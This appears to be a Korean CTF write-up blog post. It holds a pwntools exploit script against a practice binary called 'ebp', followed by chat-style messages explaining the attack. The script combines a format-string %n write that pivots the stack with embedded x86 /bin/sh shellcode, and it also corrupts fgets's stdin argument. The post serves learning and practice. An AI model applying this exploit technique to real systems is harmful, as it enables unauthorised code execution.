from pwn import *
import time
s=process('./ebp')
#raw_input()
s.send("%134520971c"+"%4$n"+"\x93\xa0\x04\x08"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\n")
s.send("%4c"+"%16$n"+"\n") //fgets의 stdin망가뜨려 while문 벗어나기
s.interactive()
s.close()
[김희연] [오전 3:25] 그래서 %4$n하면
[김희연] [오전 3:25] 0xffffd148d안에
[김희연] [오전 3:25] 들어있는값이
[김희연] [오전 3:25] 조작되자나
[김희연] [오전 3:25] 134520971
[김희연] [오전 3:25] 이걸로
[김희연] [오전 3:26] 134520971이 16진수로 바꾸면 0x804a08b인데
[김희연] [오전 3:27] 그러면 이제 0xffffd148이
[김희연] [오전 3:28] 0x804a08b가 된거자나
[김희연] [오전 3:28] 그리고 내가 넣어논 쉘코드는 어디 있냐면
[김희연] [오전 3:28] 0x804a08b+8위치에 있는 상태야
[김희연] [오전 3:29] 그러면 echo가
[김희연] [오전 3:29] 끝날때
[김희연] [오전 3:29] leave에서
[김희연] [오전 3:29] pop ebp할 때 0xffffd148에
[김희연] [오전 3:29] 있었던
[김희연] [오전 3:29] 0x804a08b가 pop돼서
[김희연] [오전 3:29] ebp가 0x804a08b가 돼
[김희연] [오전 3:29] 그 다음에 main이 끝날때
[김희연] [오전 3:30] leave애서
[김희연] [오전 3:30] mov esp, ebp를 하자나
[김희연] [오전 3:30] 그러면 esp가 0x804a08b가 될거고
[김희연] [오전 3:30] pop ebp하면
[김희연] [오전 3:30] esp는
[김희연] [오전 3:30] 0x804a08b+4가 될거고
[김희연] [오전 3:30] ret에서
[김희연] [오전 3:31] pop eip를 하니까
[김희연] [오전 3:31] 0x804a08b+4위치에 있는 주소가
[김희연] [오전 3:31] eip가 될건데
[김희연] [오전 3:31] 내가 0x804a08b+4에 0x804a08b+8의 값을 써 넣었거든
[김희연] [오전 3:32] 그니까 이제
[김희연] [오전 3:32] 쉘코드가
[김희연] [오전 3:32] 실행될 수 있는거얌
[김희연] [오전 3:32] 근데 문제가 있었는데 main의 leave, ret으로 가려면
[김희연] [오전 3:32] while문을
[김희연] [오전 3:32] 빠져나와야해
[김희연] [오전 3:32] 그러려면 fgets의 리턴값이
[김희연] [오전 3:33] 0이 되어야 하는데
[김희연] [오전 3:33] fgets의 입력값으로 널을 주면 되는거긴 한데
[김희연] [오전 3:33] 익스 짤때, 널을 주려고 해도 자꾸 안되더라고
[김희연] [오전 3:33] 그래서 아얘 fgets의 세번째 인자인
[김희연] [오전 3:33] stdin부분을
[김희연] [오전 3:33] 다른 값으로 조작해서
[김희연] [오전 3:33] fgets함수 자체를 실패시켜서 while문을 빠져나왔어
'시스템 해킹 > cykor' 카테고리의 다른 글
chal1-heap unlink (0) | 2018.02.18 |
---|---|
First-PIE가 걸려 코드영역 주소도 바뀐경우->vsyscall이용 (0) | 2018.01.25 |
what-fsb $를 이용한 libc릭, 스택주소릭, fini array를 메인으로 (0) | 2018.01.23 |
contact-공백이용해서 ret덮어버리는 문제 (0) | 2018.01.11 |
start_hard-64비트 SROP, 브루트포스 (0) | 2018.01.09 |